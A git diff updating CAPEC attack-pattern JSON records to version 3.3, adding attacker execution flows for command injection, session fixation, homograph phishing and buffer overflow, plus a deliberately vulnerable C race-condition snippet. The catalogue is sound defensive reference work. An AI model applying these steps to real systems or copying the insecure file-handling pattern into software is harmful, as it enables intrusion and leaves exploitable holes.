b/capec/attack-pattern/attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3.json index 9e560d14ab..f6b3a4df40 100644 --- a/capec/attack-pattern/attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3.json +++ b/capec/attack-pattern/attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--15d8d02c-493b-483c-8aec-47cbb229b743", + "id": "bundle--aadbf058-e211-4f28-a64c-a02a63b5f80e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--bfdeb5d3-c9da-44eb-bfd3-d3db719acfb3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "OS Command Injection", "description": "In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.", "external_references": [ @@ -78,6 +78,7 @@ "x_capec_example_instances": [ "\n A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line.\n An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data.See also: A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system. The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within back-ticks in the URL provided via the command line. This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4)." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify inputs for OS commands: The attacker determines user controllable input that gets passed as part of a command to the underlying operating system.

    2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages

  2. Survey the Application: The attacker surveys the target application, possibly as a valid and authenticated user

    3. Techniques
    Spidering web sites for all available links
    Inventory all application inputs

Experiment

  1. Vary inputs, looking for malicious results.: Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application

    2. Techniques
    Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)
    Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)

Exploit

  1. Execute malicious commands: The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way.

    2. Techniques
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "User controllable input used as part of commands to the underlying operating system." @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3.json b/capec/attack-pattern/attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3.json index b2f5fec0da..030cb22259 100644 --- a/capec/attack-pattern/attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3.json +++ b/capec/attack-pattern/attack-pattern--c0166c89-dd49-46a7-9359-88a2c9d053e3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5b0c3281-0198-44cf-9cd5-4da1333ca030", + "id": "bundle--d57eb87a-275f-4907-82e5-bab94f979d06", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ "This type of an attack requires the attacker to know the endpoint of the web service, and be able to reach the endpoint with a malicious SOAP message." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f.json b/capec/attack-pattern/attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f.json index 6ce4973c26..3effd72065 100644 --- a/capec/attack-pattern/attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f.json +++ b/capec/attack-pattern/attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--847981e5-a554-499d-af5d-6f3b0bbca30f", + "id": "bundle--d8410ef6-a6ed-4b5f-87cb-70989993914f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c05fff04-b965-4a11-9c18-379dac31969f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Privilege Escalation", "description": "An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.", "external_references": [ @@ -21,6 +21,17 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/269.html", "external_id": "CWE-269" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1264.html", + "external_id": "CWE-1264" + }, + { + "source_name": "ATTACK", + "description": "Abuse Elevation Control Mechanism", + "url": "https://attack.mitre.org/wiki/Technique/T1548", + "external_id": "T1548" } ], "object_marking_refs": [ @@ -28,7 +39,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c0ad20d0-8b30-460c-a060-da46582bdbec.json b/capec/attack-pattern/attack-pattern--c0ad20d0-8b30-460c-a060-da46582bdbec.json index fe344261b7..b8ab36e9f3 100644 --- a/capec/attack-pattern/attack-pattern--c0ad20d0-8b30-460c-a060-da46582bdbec.json +++ b/capec/attack-pattern/attack-pattern--c0ad20d0-8b30-460c-a060-da46582bdbec.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--aaf85df3-be8b-4cc3-8962-4eff309f85e9", + "id": "bundle--eadf9b83-992c-413c-953b-9c98c107dd84", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c18bf62a-4419-4606-9dbe-03ab63873b60.json b/capec/attack-pattern/attack-pattern--c18bf62a-4419-4606-9dbe-03ab63873b60.json index 6df763b138..c44d3a3bdb 100644 --- a/capec/attack-pattern/attack-pattern--c18bf62a-4419-4606-9dbe-03ab63873b60.json +++ b/capec/attack-pattern/attack-pattern--c18bf62a-4419-4606-9dbe-03ab63873b60.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f5ab46ec-3158-4cf5-bf72-71d335e788a6", + "id": "bundle--1637c5ba-42a9-489b-9945-d4c6cd382aa3", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7.json b/capec/attack-pattern/attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7.json index 3e63043d54..a389784c77 100644 --- a/capec/attack-pattern/attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7.json +++ b/capec/attack-pattern/attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a649ca1f-fd65-40df-8e60-28baab588d1c", + "id": "bundle--eb390d4d-fe3a-4423-b697-de03f31930cb", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c195a0a3-62fc-4def-9702-8938440cc9a7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "WebView Exposure", "description": "An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.", "external_references": [ @@ -37,7 +37,7 @@ "This type of an attack requires the adversary to convince the user to load the malicious web page inside the target application. Once loaded, the malicious web page will have the same permissions as the target application and will have access to all registered interfaces. Both the permission and the interface must be in place for the functionality to be exposed." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14.json b/capec/attack-pattern/attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14.json index 41cd85e8bb..677e574696 100644 --- a/capec/attack-pattern/attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14.json +++ b/capec/attack-pattern/attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--dd264438-9da4-44da-99f8-e09325f8b8c2", + "id": "bundle--18961180-dd15-4678-915a-3890080f4b5f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c1e3e934-5b43-4af9-b92b-9a4837a90c14", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Session Fixation", "description": "The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.", "external_references": [ @@ -62,6 +62,7 @@ "Consider a banking application that issues a session identifier in the URL to a user before login, and uses the same identifier to identify the customer following successful authentication. An attacker can easily leverage session fixation to access a victim's account by having the victim click on a forged link that contains a valid session identifier from a trapped session setup by the attacker. Once the victim is authenticated, the attacker can take over the session and continue with the same levels of privilege as the victim.", "An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels. See also: CVE-2004-2182" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Setup the Attack: Setup a session: The attacker has to setup a trap session that provides a valid session identifier, or select an arbitrary identifier, depending on the mechanism employed by the application. A trap session is a dummy session established with the application by the attacker and is used solely for the purpose of obtaining valid session identifiers. The attacker may also be required to periodically refresh the trap session in order to obtain valid session identifiers.

    2. Techniques
    The attacker chooses a predefined identifier that they know.
    The attacker creates a trap session for the victim.

Experiment

  1. Attract a Victim: Fixate the session: The attacker now needs to transfer the session identifier from the trap session to the victim by introducing the session identifier into the victim's browser. This is known as fixating the session. The session identifier can be introduced into the victim's browser by leveraging cross site scripting vulnerability, using META tags or setting HTTP response headers in a variety of ways.

    2. Techniques
    Attackers can put links on web sites (such as forums, blogs, or comment forms).
    Attackers can establish rogue proxy servers for network protocols that give out the session ID and then redirect the connection to the legitimate service.
    Attackers can email attack URLs to potential victims through spam and phishing techniques.

Exploit

  1. Abuse the Victim's Session: Takeover the fixated session: Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the fixated session identifier.

    2. Techniques
    The attacker loads the predefined session ID into their browser and browses to protected data or functionality.
    The attacker loads the predefined session ID into their software and utilizes functionality with the rights of the victim.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "Session identifiers that remain unchanged when the privilege levels change.", @@ -76,7 +77,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c207660b-d5b1-4928-b472-251f19a094d0.json b/capec/attack-pattern/attack-pattern--c207660b-d5b1-4928-b472-251f19a094d0.json index 92c020343b..df53d7a8ca 100644 --- a/capec/attack-pattern/attack-pattern--c207660b-d5b1-4928-b472-251f19a094d0.json +++ b/capec/attack-pattern/attack-pattern--c207660b-d5b1-4928-b472-251f19a094d0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9d4bca0e-9f10-4cf7-8d37-52c254fd9765", + "id": "bundle--b4d7a8c3-ebea-4230-92dd-e7d59a043c17", "spec_version": "2.0", "objects": [ { @@ -29,7 +29,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d.json b/capec/attack-pattern/attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d.json index 856b0e6041..249fe0a62f 100644 --- a/capec/attack-pattern/attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d.json +++ b/capec/attack-pattern/attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6a59d1aa-97d3-4da7-b6a5-d54f54edb5d3", + "id": "bundle--fb3ba040-e955-4103-a868-42210a045868", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c2a87533-3c81-40b3-b529-9560c644f70d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Lifting Sensitive Data Embedded in Cache", "description": "An attacker examines a target application's cache for sensitive information. Many applications that communicate with remote entities or which perform intensive calculations utilize caches to improve efficiency. However, if the application computes or receives sensitive information and the cache is not appropriately protected, an attacker can browse the cache and retrieve this information. This can result in the disclosure of sensitive information.", "external_references": [ @@ -26,6 +26,16 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/311.html", "external_id": "CWE-311" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1239.html", + "external_id": "CWE-1239" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1258.html", + "external_id": "CWE-1258" } ], "object_marking_refs": [ @@ -41,7 +51,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c4a0c765-e4ca-43c2-996e-08ce13ae8f80.json b/capec/attack-pattern/attack-pattern--c4a0c765-e4ca-43c2-996e-08ce13ae8f80.json index 1873610b21..b4beb635ab 100644 --- a/capec/attack-pattern/attack-pattern--c4a0c765-e4ca-43c2-996e-08ce13ae8f80.json +++ b/capec/attack-pattern/attack-pattern--c4a0c765-e4ca-43c2-996e-08ce13ae8f80.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4ad824f0-51f6-4001-8e83-f768d0d67fa9", + "id": "bundle--ef09deb2-358c-4d7c-b25a-1796118edba7", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--c4a0c765-e4ca-43c2-996e-08ce13ae8f80", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Client-side Injection-induced Buffer Overflow", "description": "This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.", "external_references": [ @@ -89,6 +89,7 @@ "x_capec_example_instances": [ "\n Attack Example: Buffer Overflow in Internet Explorer 4.0 Via EMBED Tag\n Authors often use tags in HTML documents. For example\n \n If an attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The attacker creates a custom hostile service

  2. The attacker acquires information about the kind of client attaching to their hostile service to determine if it contains an exploitable buffer overflow vulnerability.

Exploit

  1. The attacker intentionally feeds malicious data to the client to exploit the buffer overflow vulnerability that they have uncovered.

  2. The attacker leverages the exploit to execute arbitrary code or to cause a denial of service.

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The targeted client software communicates with an external server.", @@ -100,7 +101,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c4dd22c6-ad54-47c8-b0ab-d7f3cad9e026.json b/capec/attack-pattern/attack-pattern--c4dd22c6-ad54-47c8-b0ab-d7f3cad9e026.json index fa1fbf5ea1..3c9050d9b7 100644 --- a/capec/attack-pattern/attack-pattern--c4dd22c6-ad54-47c8-b0ab-d7f3cad9e026.json +++ b/capec/attack-pattern/attack-pattern--c4dd22c6-ad54-47c8-b0ab-d7f3cad9e026.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--28d67559-d374-480c-a7bb-d65e160f454f", + "id": "bundle--9d03ed56-d52c-4c8b-b308-4885038dace6", "spec_version": "2.0", "objects": [ { @@ -67,7 +67,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501.json b/capec/attack-pattern/attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501.json index 5b4e39bf2c..9a02b2d0dd 100644 --- a/capec/attack-pattern/attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501.json +++ b/capec/attack-pattern/attack-pattern--c4e18b3f-0445-49e8-9bf1-d47a23082501.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--697833a6-e5f6-405e-99f9-7b80eb2dcfee", + "id": "bundle--66d34cba-2554-42cb-aef0-7ba16304a731", "spec_version": "2.0", "objects": [ { @@ -33,6 +33,7 @@ "x_capec_example_instances": [ "\n An adversary sends an email, impersonating bankofamerica.com to a user stating that they have just received a new deposit and to click the given link to confirm the deposit.\n However, the link the in email is bankofamerica.com, where the 'a' and 'e' characters are Cyrillic and not ASCII, instead of bankofamerica.com (all ASCII), which the user clicks after carefully reading the URL, making sure that typosquatting and soundsquatting attacks are not being leveraged against them.\n The user is directed to the adversary's website, which appears as if it is the legitimate bankofamerica.com login page.\n The user thinks they are logging into their account, but have actually just given their bankofamerica.com credentials to the adversary. The adversary can now use the user's legitimate bankofamerica.com credentials to log into the user's account and steal any money which may be in the account.\n Homograph vulnerability allows an adversary to impersonate a trusted domain by leveraging homoglyphs and tricking a user into visiting the malicious website to steal user credentials.See also: CVE-2012-0584 CVE-2009-0652 CVE-2005-0233 CVE-2005-0234 CVE-2005-0235 CVE-2005-0236 CVE-2005-0237 CVE-2005-0238" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine target website: The adversary first determines which website to impersonate, generally one that is trusted and receives a consistent amount of traffic.

    2. Techniques
    Research popular or high traffic websites.

Experiment

  1. Impersonate trusted domain: In order to impersonate the trusted domain, the adversary needs to register the URL containing the homoglpyh character(s).

    2. Techniques
    Register the Homograph domain.

Exploit

  1. Deceive user into visiting domain: Finally, the adversary needs to deceive a user into visiting the Homograph domain.

    2. Techniques
    Execute a phishing attack and send a user an e-mail convincing the to click on a link leading the user to the malicious domain.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "An adversary requires knowledge of popular or high traffic domains, that could be used to deceive potential targets." @@ -42,7 +43,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4.json b/capec/attack-pattern/attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4.json index aa4d567de3..340174b9e1 100644 --- a/capec/attack-pattern/attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4.json +++ b/capec/attack-pattern/attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ab436701-6d4c-4f68-aae4-106813a1af2a", + "id": "bundle--d3b3d295-ac11-4883-9722-b765123d791d", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--c50d5a35-0010-422d-b6f7-d4b963c9bad4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross Site Identification", - "description": "An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the \"remember me\" feature to keep his or her session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing). In one example of an attack, an attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in his or her browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site. There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim.", + "description": "An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the \"remember me\" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing). In one example of an attack, an attacker may post a malicious posting that contains an image with an embedded link. The link actually requests identifying information from the social networking site. A victim who views the malicious posting in their browser will have sent identifying information to the attacker, as long as the victim had an active session with the social networking site. There are many other ways in which the attacker may get the payload to execute in the victim's browser mainly by finding a way to hide it in some reputable site that the victim visits. The attacker could also send the link to the victim in an e-mail and trick the victim into clicking on the link. This attack is basically a cross site request forgery attack with two main differences. First, there is no action that is performed on behalf of the user aside from harvesting information. So standard CSRF protection may not work in this situation. Second, what is important in this attack pattern is the nature of the data being harvested, which is identifying information that can be obtained and used in context. This real time harvesting of identifying information can be used as a prelude for launching real time targeted social engineering attacks on the victim.", "external_references": [ { "source_name": "capec", @@ -47,7 +47,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c5724646-0a5b-4b60-b0e2-6c445a744628.json b/capec/attack-pattern/attack-pattern--c5724646-0a5b-4b60-b0e2-6c445a744628.json index c92fc77da3..f05800da7a 100644 --- a/capec/attack-pattern/attack-pattern--c5724646-0a5b-4b60-b0e2-6c445a744628.json +++ b/capec/attack-pattern/attack-pattern--c5724646-0a5b-4b60-b0e2-6c445a744628.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6dc0a591-659c-4614-ba7d-c6db1a3baa49", + "id": "bundle--39d17f8f-1114-469c-a9f2-6f819a11ec1b", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c65468a8-a1de-4bfd-a6f1-5532a46cb8a0.json b/capec/attack-pattern/attack-pattern--c65468a8-a1de-4bfd-a6f1-5532a46cb8a0.json index fbcb38c2be..94d25784d4 100644 --- a/capec/attack-pattern/attack-pattern--c65468a8-a1de-4bfd-a6f1-5532a46cb8a0.json +++ b/capec/attack-pattern/attack-pattern--c65468a8-a1de-4bfd-a6f1-5532a46cb8a0.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--841754b6-afd5-49e7-b257-0d1561ce1f7b", + "id": "bundle--7dbe3e23-d2ca-48de-9417-9649b2c62a9d", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c66198ff-3ef2-4d2e-abf6-ae4b21a77488.json b/capec/attack-pattern/attack-pattern--c66198ff-3ef2-4d2e-abf6-ae4b21a77488.json index f4c9d75d65..0f10912afe 100644 --- a/capec/attack-pattern/attack-pattern--c66198ff-3ef2-4d2e-abf6-ae4b21a77488.json +++ b/capec/attack-pattern/attack-pattern--c66198ff-3ef2-4d2e-abf6-ae4b21a77488.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fc827b69-9bc2-40fc-9214-f7883d665d7c", + "id": "bundle--619d632d-3f4b-426b-91bc-a56e51f830ce", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--c70d3f38-8efe-4f47-bba4-db807d270d94.json b/capec/attack-pattern/attack-pattern--c70d3f38-8efe-4f47-bba4-db807d270d94.json index d14b5fe1f8..a26757c2db 100644 --- a/capec/attack-pattern/attack-pattern--c70d3f38-8efe-4f47-bba4-db807d270d94.json +++ b/capec/attack-pattern/attack-pattern--c70d3f38-8efe-4f47-bba4-db807d270d94.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0695c849-7e0e-42d0-b1af-155ada8f93de", + "id": "bundle--5e598956-e6ae-4132-b9d0-bd78f6916f2a", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--c70d3f38-8efe-4f47-bba4-db807d270d94", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Leveraging Race Conditions", - "description": "The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by \"running the race\", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with his version and cause the system to read the malicious file.", + "description": "The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by \"running the race\", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.", "external_references": [ { "source_name": "capec", @@ -62,6 +62,11 @@ "url": "http://cwe.mitre.org/data/definitions/665.html", "external_id": "CWE-665" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1223.html", + "external_id": "CWE-1223" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -106,8 +111,9 @@ }, "x_capec_example_instances": [ "The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057", - "\n The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name (see [R.26.5]).\n include include include \n define FILE \"/tmp/myfile\"define UID 100\n void test(char *str){int fd;fd = creat(FILE, 0644);if(fd == -1)return;\n chown(FILE, UID, -1); /* BAD */close(fd);\n }\n int main(int argc, char **argv){char *userstr;if(argc > 1) {userstr = argv[1];test(userstr);\n }return 0;\n }\n " + "\n The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name (see [REF-107]).\n include include include \n define FILE \"/tmp/myfile\"define UID 100\n void test(char *str){int fd;fd = creat(FILE, 0644);if(fd == -1)return;\n chown(FILE, UID, -1); /* BAD */close(fd);\n }\n int main(int argc, char **argv){char *userstr;if(argc > 1) {userstr = argv[1];test(userstr);\n }return 0;\n }\n " 